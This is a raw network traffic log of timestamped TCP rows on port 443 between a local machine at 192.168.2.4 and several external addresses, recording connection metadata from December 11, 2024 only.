Dec 11, 2024 02:08:33.241040945 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.258865118 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:33.258877993 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:33.258902073 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:33.258909941 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:33.258936882 CET	49755	443	192.168.2.4	151.101.194.137
Dec 11, 2024 02:08:33.258940935 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:33.258960009 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:33.258986950 CET	49755	443	192.168.2.4	151.101.194.137
Dec 11, 2024 02:08:33.259013891 CET	49755	443	192.168.2.4	151.101.194.137
Dec 11, 2024 02:08:33.283143044 CET	49754	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:33.283155918 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.313920975 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.314001083 CET	49754	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:33.314017057 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.317785978 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.317836046 CET	49754	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:33.317847013 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.328560114 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.328618050 CET	49754	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:33.328627110 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.336385012 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.336446047 CET	49754	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:33.336455107 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.344109058 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.344156027 CET	49754	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:33.344163895 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.359612942 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.359653950 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.359668016 CET	49754	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:33.359675884 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.359718084 CET	49754	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:33.367352009 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.373509884 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:33.373528004 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:33.373564005 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:33.373605967 CET	49755	443	192.168.2.4	151.101.194.137
Dec 11, 2024 02:08:33.373616934 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:33.373650074 CET	49755	443	192.168.2.4	151.101.194.137
Dec 11, 2024 02:08:33.373749971 CET	49755	443	192.168.2.4	151.101.194.137
Dec 11, 2024 02:08:33.375133038 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.375175953 CET	49754	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:33.375183105 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.382903099 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.382951021 CET	49754	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:33.382956028 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.389926910 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.389976978 CET	49754	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:33.389983892 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.396867037 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.396918058 CET	49754	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:33.396924019 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.414319992 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:33.414351940 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:33.414406061 CET	49755	443	192.168.2.4	151.101.194.137
Dec 11, 2024 02:08:33.414419889 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:33.414464951 CET	49755	443	192.168.2.4	151.101.194.137
Dec 11, 2024 02:08:33.443115950 CET	49754	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:33.443137884 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.491724968 CET	49754	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:33.505918980 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.506063938 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.506114960 CET	49754	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:33.506506920 CET	49754	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:33.506524086 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.540313959 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:33.540338039 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:33.540395975 CET	49755	443	192.168.2.4	151.101.194.137
Dec 11, 2024 02:08:33.540420055 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:33.540452957 CET	49755	443	192.168.2.4	151.101.194.137
Dec 11, 2024 02:08:33.540472984 CET	49755	443	192.168.2.4	151.101.194.137
Dec 11, 2024 02:08:33.564026117 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:33.564052105 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:33.564120054 CET	49755	443	192.168.2.4	151.101.194.137
Dec 11, 2024 02:08:33.564132929 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:33.564202070 CET	49755	443	192.168.2.4	151.101.194.137
Dec 11, 2024 02:08:33.579070091 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:33.579154015 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:33.579154968 CET	49755	443	192.168.2.4	151.101.194.137
Dec 11, 2024 02:08:33.579211950 CET	49755	443	192.168.2.4	151.101.194.137
Dec 11, 2024 02:08:33.579751015 CET	49755	443	192.168.2.4	151.101.194.137
Dec 11, 2024 02:08:33.579771042 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:34.219247103 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.219536066 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.219552994 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.220680952 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.220796108 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.221143007 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.221211910 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.221328974 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.221335888 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.257399082 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.257816076 CET	49758	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.257827997 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.258852005 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.258935928 CET	49758	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.259275913 CET	49758	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.259341955 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.259432077 CET	49758	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.259438992 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.269386053 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.299724102 CET	49758	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.663858891 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.663938046 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.663975000 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.664010048 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.664045095 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.664048910 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.664073944 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.664087057 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.664261103 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.671900988 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.677160978 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.677247047 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.677263975 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.698199034 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.698395967 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.698432922 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.698468924 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.698503017 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.698580027 CET	49758	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.698596001 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.699953079 CET	49758	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.706578970 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.715022087 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.716247082 CET	49758	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.716253996 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.718669891 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.718687057 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.767954111 CET	49758	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.767955065 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.767960072 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.783106089 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.817477942 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.818384886 CET	49758	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.818391085 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.818480015 CET	49758	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.821152925 CET	443	49741	142.250.181.100	192.168.2.4
Dec 11, 2024 02:08:34.821223974 CET	443	49741	142.250.181.100	192.168.2.4
Dec 11, 2024 02:08:34.821293116 CET	49741	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:08:34.824225903 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.824239969 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.855628014 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.856010914 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.856025934 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.866991043 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.867115021 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.867223024 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.867239952 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.868120909 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.874583006 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.882241964 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.882374048 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.882468939 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.882481098 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.882608891 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.890357971 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.890360117 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.895658016 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.896356106 CET	49758	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.896362066 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.897499084 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.897583008 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.897593021 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.900633097 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.900695086 CET	49758	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.900700092 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.905168056 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.905241013 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.905251026 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.912765026 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.912858009 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.912868023 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.916405916 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.916465044 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.916496038 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.916544914 CET	49758	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.916546106 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.916609049 CET	49758	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.916645050 CET	49758	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.927850008 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.928004026 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.928122997 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.928136110 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.930963993 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.935508013 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.940517902 CET	49758	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.940527916 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.943056107 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.943099976 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.943170071 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.943177938 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.943228006 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.950593948 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.950838089 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.950912952 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.960745096 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.960767031 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.969474077 CET	49741	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:08:34.969486952 CET	443	49741	142.250.181.100	192.168.2.4
Dec 11, 2024 02:08:34.975714922 CET	49762	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.975732088 CET	443	49762	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.975795984 CET	49762	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.976193905 CET	49762	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.976207018 CET	443	49762	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.977858067 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.977878094 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:34.977931976 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.978154898 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:34.978167057 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.191888094 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.192300081 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:36.192307949 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.192801952 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.193270922 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:36.193392992 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.193490028 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:36.193640947 CET	443	49762	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.193833113 CET	49762	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:36.193849087 CET	443	49762	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.194175005 CET	443	49762	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.194493055 CET	49762	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:36.194550991 CET	443	49762	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.194612980 CET	49762	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:36.235333920 CET	443	49762	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.235337973 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.633342028 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.633409977 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.633441925 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.633471012 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.633491039 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:36.633497953 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.633511066 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.633548975 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:36.633635998 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.641057968 CET	443	49762	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.641122103 CET	443	49762	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.641184092 CET	49762	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:36.641499043 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.641554117 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:36.641562939 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.642158031 CET	49762	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:36.642168999 CET	443	49762	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.648281097 CET	49765	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:36.648334980 CET	443	49765	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.648421049 CET	49765	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:36.648709059 CET	49765	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:36.648727894 CET	443	49765	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.649959087 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.650007010 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:36.650015116 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.696439028 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:36.696446896 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.742906094 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:36.825098991 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.830444098 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.830486059 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.830493927 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:36.830507040 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.830553055 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:36.838243008 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.846081018 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.846136093 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:36.846144915 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.853878021 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.853929996 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:36.853935957 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.861625910 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.861679077 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:36.861690998 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.869359970 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.869421005 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:36.869427919 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.884823084 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.884875059 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:36.884881020 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.892618895 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.892669916 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:36.892676115 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.900360107 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.900410891 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:36.900418043 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.942162991 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:36.942169905 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:36.990396023 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.019105911 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.022757053 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.022808075 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.022816896 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.030339003 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.030430079 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.030441046 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.037808895 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.037858963 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.037867069 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.044867039 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.044938087 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.044944048 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.065761089 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.065768957 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.065959930 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.065968037 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.072875023 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.072940111 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.072947025 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.072997093 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.079768896 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.093785048 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.093985081 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.093991995 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.094048023 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.100867033 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.100876093 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.100965977 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.114892960 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.114901066 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.115097046 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.128770113 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.128777027 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.128868103 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.135870934 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.135879993 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.135955095 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.149899006 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.149983883 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.213881016 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.214011908 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.221688032 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.221771955 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.227485895 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.227556944 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.238127947 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.238221884 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.248006105 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.248076916 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.257512093 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.257610083 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.262377977 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.262455940 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.266691923 CET	443	49763	104.18.94.41	192.168.2.4
